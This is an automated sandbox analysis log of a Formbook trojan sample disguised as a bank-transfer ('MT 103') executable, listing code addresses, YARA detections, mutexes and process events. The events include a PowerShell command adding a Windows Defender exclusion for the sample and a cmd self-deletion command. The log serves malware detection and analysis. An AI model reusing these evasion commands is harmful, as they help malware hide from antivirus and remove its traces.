          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047FC6E07_2_047FC6E0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047E07707_2_047E0770
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047DC7C07_2_047DC7C0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048047507_2_04804750
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048720007_2_04872000
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048A01AA7_2_048A01AA
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048941A27_2_048941A2
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048981CC7_2_048981CC
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047D01007_2_047D0100
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0487A1187_2_0487A118
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048681587_2_04868158
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048602C07_2_048602C0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048802747_2_04880274
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048A03E67_2_048A03E6
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047EE3F07_2_047EE3F0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0489A3527_2_0489A352
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04880CB57_2_04880CB5
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047E0C007_2_047E0C00
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047D0CF27_2_047D0CF2
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047EAD007_2_047EAD00
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0487CD1F7_2_0487CD1F
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047DADE07_2_047DADE0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047F8DBF7_2_047F8DBF
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0489CE937_2_0489CE93
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047E0E597_2_047E0E59
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0489EEDB7_2_0489EEDB
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0489EE267_2_0489EE26
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047F2E907_2_047F2E90
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0485EFA07_2_0485EFA0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047ECFE07_2_047ECFE0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04822F287_2_04822F28
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04800F307_2_04800F30
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047D2FC87_2_047D2FC8
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04882F307_2_04882F30
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04854F407_2_04854F40
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047E28407_2_047E2840
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047EA8407_2_047EA840
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0480E8F07_2_0480E8F0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047C68B87_2_047C68B8
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047F69627_2_047F6962
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048AA9A67_2_048AA9A6
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047E29A07_2_047E29A0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047DEA807_2_047DEA80
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04896BD77_2_04896BD7
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0489AB407_2_0489AB40
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047D14607_2_047D1460
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0489F43F7_2_0489F43F
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0487D5B07_2_0487D5B0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048A95C37_2_048A95C3
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048975717_2_04897571
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048916CC7_2_048916CC
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048256307_2_04825630
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0489F7B07_2_0489F7B0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0488F0CC7_2_0488F0CC
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048970E97_2_048970E9
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0489F0E07_2_0489F0E0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047E70C07_2_047E70C0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047CF1727_2_047CF172
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047EB1B07_2_047EB1B0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048AB16B7_2_048AB16B
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0481516C7_2_0481516C
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048812ED7_2_048812ED
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047FB2C07_2_047FB2C0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047E52A07_2_047E52A0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0482739A7_2_0482739A
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047CD34C7_2_047CD34C
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0489132D7_2_0489132D
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0489FCF27_2_0489FCF2
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04859C327_2_04859C32
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047E3D407_2_047E3D40
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047FFDC07_2_047FFDC0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04891D5A7_2_04891D5A
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04897D737_2_04897D73
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047E9EB07_2_047E9EB0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0489FFB17_2_0489FFB1
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0489FF097_2_0489FF09
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047A3FD27_2_047A3FD2
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047A3FD57_2_047A3FD5
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047E1F927_2_047E1F92
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0484D8007_2_0484D800
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047E38E07_2_047E38E0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047E99507_2_047E9950
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047FB9507_2_047FB950
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_048759107_2_04875910
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04825AA07_2_04825AA0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0487DAAC7_2_0487DAAC
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04881AA37_2_04881AA3
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0488DAC67_2_0488DAC6
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0489FA497_2_0489FA49
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04897A467_2_04897A46
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04853A6C7_2_04853A6C
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04855BF07_2_04855BF0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0481DBF97_2_0481DBF9
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0489FB767_2_0489FB76
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_047FFB807_2_047FFB80
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005CE7927_2_005CE792
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005B2D907_2_005B2D90
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005B2D877_2_005B2D87
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005B9E5B7_2_005B9E5B
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005B9E607_2_005B9E60
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_005B2FB07_2_005B2FB0
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0469A0367_2_0469A036
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04692D027_2_04692D02
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0469E5CD7_2_0469E5CD
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_046910827_2_04691082
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_046989127_2_04698912
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_0469B2327_2_0469B232
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04695B307_2_04695B30
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 7_2_04695B327_2_04695B32
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: String function: 04815130 appears 58 times
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: String function: 0484EA12 appears 86 times
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: String function: 04827E54 appears 111 times
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: String function: 0485F290 appears 105 times
          Source: C:\Windows\SysWOW64\colorcpl.exeCode function: String function: 047CB970 appears 280 times
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: String function: 012C5130 appears 58 times
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: String function: 0127B970 appears 280 times
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: String function: 012FEA12 appears 86 times
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: String function: 012D7E54 appears 111 times
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: String function: 0130F290 appears 105 times
          Source: hbwebdownload - MT 103.exeStatic PE information: invalid certificate
          Source: hbwebdownload - MT 103.exe, 00000000.00000000.2057684443.0000000000B52000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameQZ.exe, vs hbwebdownload - MT 103.exe
          Source: hbwebdownload - MT 103.exe, 00000000.00000002.2092991914.0000000004A7A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTyrone.dll8 vs hbwebdownload - MT 103.exe
          Source: hbwebdownload - MT 103.exe, 00000000.00000002.2095458209.00000000078C0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameTyrone.dll8 vs hbwebdownload - MT 103.exe
          Source: hbwebdownload - MT 103.exe, 00000000.00000002.2090002838.000000000107E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs hbwebdownload - MT 103.exe
          Source: hbwebdownload - MT 103.exe, 00000000.00000002.2095226151.000000000759B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamePowerShell.E vs hbwebdownload - MT 103.exe
          Source: hbwebdownload - MT 103.exe, 00000004.00000002.2146139487.0000000002F93000.00000040.10000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenamecolorcpl.exej% vs hbwebdownload - MT 103.exe
          Source: hbwebdownload - MT 103.exe, 00000004.00000002.2141231992.0000000000D17000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamecolorcpl.exej% vs hbwebdownload - MT 103.exe
          Source: hbwebdownload - MT 103.exe, 00000004.00000002.2144698511.000000000137D000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs hbwebdownload - MT 103.exe
          Source: hbwebdownload - MT 103.exeBinary or memory string: OriginalFilenameQZ.exe, vs hbwebdownload - MT 103.exe
          Source: hbwebdownload - MT 103.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
          Source: 4.2.hbwebdownload - MT 103.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 4.2.hbwebdownload - MT 103.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 4.2.hbwebdownload - MT 103.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 4.2.hbwebdownload - MT 103.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 4.2.hbwebdownload - MT 103.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 4.2.hbwebdownload - MT 103.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000007.00000002.4524389651.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000007.00000002.4524389651.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000007.00000002.4524389651.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000000.00000002.2092991914.000000000484A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000000.00000002.2092991914.000000000484A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000000.00000002.2092991914.000000000484A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000007.00000002.4524319373.0000000002BF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000007.00000002.4524319373.0000000002BF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000007.00000002.4524319373.0000000002BF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: Process Memory Space: hbwebdownload - MT 103.exe PID: 1992, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: hbwebdownload - MT 103.exe PID: 3668, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: colorcpl.exe PID: 1412, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: hbwebdownload - MT 103.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, JMVBdtlhbZ96poP7Cj.csSecurity API names: _0020.SetAccessControl
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, JMVBdtlhbZ96poP7Cj.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, JMVBdtlhbZ96poP7Cj.csSecurity API names: _0020.AddAccessRule
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, pvMKoqM6A35QhnIeqC.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, pvMKoqM6A35QhnIeqC.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, pvMKoqM6A35QhnIeqC.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
          Source: 0.2.hbwebdownload - MT 103.exe.78c0000.3.raw.unpack, pvMKoqM6A35QhnIeqC.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, JMVBdtlhbZ96poP7Cj.csSecurity API names: _0020.SetAccessControl
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, JMVBdtlhbZ96poP7Cj.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.hbwebdownload - MT 103.exe.4a8bf10.0.raw.unpack, JMVBdtlhbZ96poP7Cj.csSecurity API names: _0020.AddAccessRule
          Source: classification engineClassification label: mal100.troj.evad.winEXE@11/6@11/2
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\hbwebdownload - MT 103.exe.logJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeMutant created: \Sessions\1\BaseNamedObjects\aNKihXpcWs
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6304:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6468:120:WilError_03
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iixbdcve.5it.ps1Jump to behavior
          Source: hbwebdownload - MT 103.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: hbwebdownload - MT 103.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.98%
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: hbwebdownload - MT 103.exeReversingLabs: Detection: 34%
          Source: unknownProcess created: C:\Users\user\Desktop\hbwebdownload - MT 103.exe "C:\Users\user\Desktop\hbwebdownload - MT 103.exe"
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe"
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess created: C:\Users\user\Desktop\hbwebdownload - MT 103.exe "C:\Users\user\Desktop\hbwebdownload - MT 103.exe"
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\colorcpl.exe "C:\Windows\SysWOW64\colorcpl.exe"
          Source: C:\Windows\SysWOW64\colorcpl.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\hbwebdownload - MT 103.exe"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\hbwebdownload - MT 103.exe"Jump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess created: C:\Users\user\Desktop\hbwebdownload - MT 103.exe "C:\Users\user\Desktop\hbwebdownload - MT 103.exe"Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\colorcpl.exe "C:\Windows\SysWOW64\colorcpl.exe"Jump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\hbwebdownload - MT 103.exe"Jump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeSection loaded: mscoree.dllJump to behavior
